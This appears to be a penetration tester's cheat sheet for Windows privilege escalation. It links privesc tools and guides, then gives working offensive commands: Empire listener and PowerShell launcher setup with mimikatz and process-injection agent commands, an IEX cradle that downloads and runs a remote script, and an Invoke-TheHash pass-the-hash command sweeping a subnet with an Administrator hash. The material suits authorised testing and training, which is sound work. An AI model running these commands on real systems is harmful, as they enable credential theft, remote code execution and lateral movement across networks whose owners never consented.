Privilege Escalation

https://github.com/pentestmonkey/windows-privesc-check - script check

https://github.com/PowerShellMafia/PowerSploit - PowerUp

https://github.com/rasta-mouse/Sherlock - Look for missing patches

http://www.fuzzysecurity.com/tutorials/16.html

https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/

http://hackingandsecurity.blogspot.com/2017/09/oscp-windows-priviledge-escalation.html

Empire

Set up a listener
uselistener http
info
set Host http://<IP>:8080
set BindIP <IP>
set Port 8080

generate powershell launcher
launcher powershell http

agents
sleep 0 0
sysinfo
mimikatz
psinject [listener] [pid] (look for explorer.exe)
shell [cmd]

Commands

runas /netonly /user:domain\user mmc	open mmc as specified user
IEX (New-Object Net.Webclient).DownloadString("http://SERVER/script.ps1")	IEX cradle
nslookup -q=SRV _ldap._tcp.<fully qualified domain name>	find domain controllers for this domain

https://github.com/Kevin-Robertson/Invoke-TheHash
Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username Administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0